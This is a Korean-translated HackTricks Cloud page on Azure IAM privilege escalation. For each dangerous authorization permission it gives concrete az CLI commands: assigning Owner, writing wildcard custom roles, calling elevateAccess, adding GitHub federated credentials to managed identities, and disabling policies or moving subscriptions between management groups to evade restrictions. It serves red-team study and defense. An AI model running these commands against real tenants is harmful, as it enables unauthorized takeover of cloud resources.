Az - Azure IAM Privesc (Authorization)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure IAM
자세한 정보는 다음을 확인하세요:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
이 권한은 특정 scope 내에서 principals에게 roles를 할당할 수 있도록 허용하며, 공격자가 자신에게 더 높은 권한의 role을 할당하여 권한을 상승시킬 수 있게 합니다:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
이 권한은 role에 부여된 permissions를 수정할 수 있게 하여, attacker가 자신에게 할당된 role에 더 많은 permissions를 부여함으로써 escalate privileges할 수 있습니다.
다음 내용으로 role.json 파일을 생성하세요:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
그런 다음 이전 정의를 호출하여 역할 권한을 업데이트하세요:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
이 권한은 권한을 상승시켜 Azure 리소스에 대해 어떤 principal(주체)에게든 권한을 할당할 수 있게 합니다. 이는 Entra ID Global Administrators에게 부여되어 Azure 리소스에 대한 권한도 함께 관리할 수 있도록 설계된 것입니다.
Tip
elevate 호출이 작동하려면 사용자가 Entrad ID에서 Global Administrator여야 하는 것으로 보입니다.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
이 권한은 managed identities에 Federated credentials를 추가할 수 있도록 허용합니다. 예: repo의 Github Actions에 managed identity에 대한 액세스 권한을 부여합니다. 그러면, 어떤 사용자 정의된 managed identity든 접근할 수 있습니다.
다음은 Github의 repo에 managed identity에 대한 액세스 권한을 부여하는 예제 명령입니다:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Microsoft.Authorization/policyAssignments/write 또는 Microsoft.Authorization/policyAssignments/delete 권한을 management group, subscription, 또는 resource group에 대해 가진 공격자는 Azure 정책 할당을 수정하거나 삭제할 수 있으며, 잠재적으로 특정 작업을 차단하는 보안 제한을 비활성화할 수 있습니다.
이는 이전에 정책으로 보호되었던 리소스나 기능에 대한 접근을 허용합니다.
정책 할당 삭제:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
정책 할당 비활성화:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
변경 사항을 확인하세요:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
권한 Microsoft.Authorization/policyDefinitions/write를 가진 공격자는 Azure policy definitions을 수정하여 환경 전반의 보안 제한을 제어하는 규칙을 변경할 수 있습니다.
예를 들어, 리소스 생성 시 허용되는 지역을 제한하는 정책은 모든 지역을 허용하도록 수정될 수 있으며, 또는 정책의 효과를 변경하여 무력화할 수 있습니다.
정책 정의 수정:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
변경 사항을 확인하세요:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Microsoft.Management/managementGroups/write 권한을 가진 공격자는 상위 레벨에 적용된 제한 정책을 회피하기 위해 management groups의 계층 구조를 수정하거나 새 management group을 생성할 수 있습니다.
예를 들어, 공격자는 제한 정책이 없는 새 management group을 생성한 다음 subscriptions를 해당 그룹으로 이동시킬 수 있습니다.
새 management group 생성:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
관리 그룹 계층 구조 수정:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
변경 사항을 확인하세요:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
권한 Microsoft.Management/managementGroups/subscriptions/write을 가진 공격자는 구독을 관리 그룹 간에 이동시킬 수 있으며, 덜 제한적이거나 정책이 없는 그룹으로 구독을 옮겨 제한적인 정책을 회피할 수 있습니다.
구독을 다른 관리 그룹으로 이동:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
변경 사항을 확인하세요:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

